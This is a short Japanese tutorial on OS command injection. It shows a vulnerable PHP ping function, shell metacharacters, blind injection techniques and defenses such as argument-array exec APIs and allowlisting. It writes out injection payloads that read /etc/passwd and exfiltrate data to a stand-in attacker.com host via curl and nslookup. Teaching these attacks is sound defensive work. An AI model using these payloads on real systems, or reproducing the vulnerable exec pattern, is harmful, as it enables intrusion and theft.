1. OS Command Injection とは #what-is
// PHP - 商品在庫サーバへの ping 確認機能
$host = $_GET['host'];
exec("ping -c 1 $host", $output);
return implode("\n", $output);
意図は ping -c 1 supplier.example。攻撃者が ?host=supplier.example;cat /etc/passwd を送ると、シェルは ; でコマンドを区切って cat /etc/passwd も実行する。
2. シェルのメタ文字 #shell-meta
;— コマンド区切り(順次実行)&— バックグラウンド実行(順次扱い可)&&— 直前のコマンドが成功時のみ実行||— 直前のコマンドが失敗時のみ実行|— パイプ。直前の出力を次の入力に`...`または$(...)— コマンド置換。実行結果を文字列に展開>>><— リダイレクト- 改行(
\n) — コマンド区切り(;と同等)
3. Blind Command Injection #blind-cmdi
コマンドの実行結果がレスポンスに含まれない場合でも、攻撃可能:
- 時間ベース —
; sleep 10 #でレスポンス遅延を観察 - Out-of-Band —
; curl http://attacker.com/?data=$(whoami)で攻撃者サーバへ送信 - ファイル書き出し —
; whoami > /var/www/public/leak.txtで公開ディレクトリに出力 - DNS lookup —
; nslookup $(whoami).attacker.comでサブドメインを介して情報送信
4. 正しい防御 #defense
- そもそもシェルを呼ばない — 言語の標準ライブラリで代替できないか検討。例:ファイル操作、HTTP リクエスト、画像変換は全て専用ライブラリがある
- シェルを介さない exec API —
execve系(引数を配列で渡す)。シェルメタ文字が解釈されない - ホワイトリスト検証 — 入力が想定形式(英数字+ドット等)に厳密に一致するかチェック
- シェルメタ文字の拒否 —
;|&`$()等を含む入力を拒否(ブラックリストよりホワイトリストの方が安全だが、補助としては有効)
// 危険:シェル経由の exec、文字列連結
exec("ping -c 1 $host");
// 安全:execve 系、引数を配列で
$descriptors = [];
proc_open(['ping', '-c', '1', $host], $descriptors, $pipes);
// Python
subprocess.run(['ping', '-c', '1', host]) # shell=False (デフォルト)
// Node.js
const { execFile } = require('child_process');
execFile('ping', ['-c', '1', host]); // execFile はシェルを介さない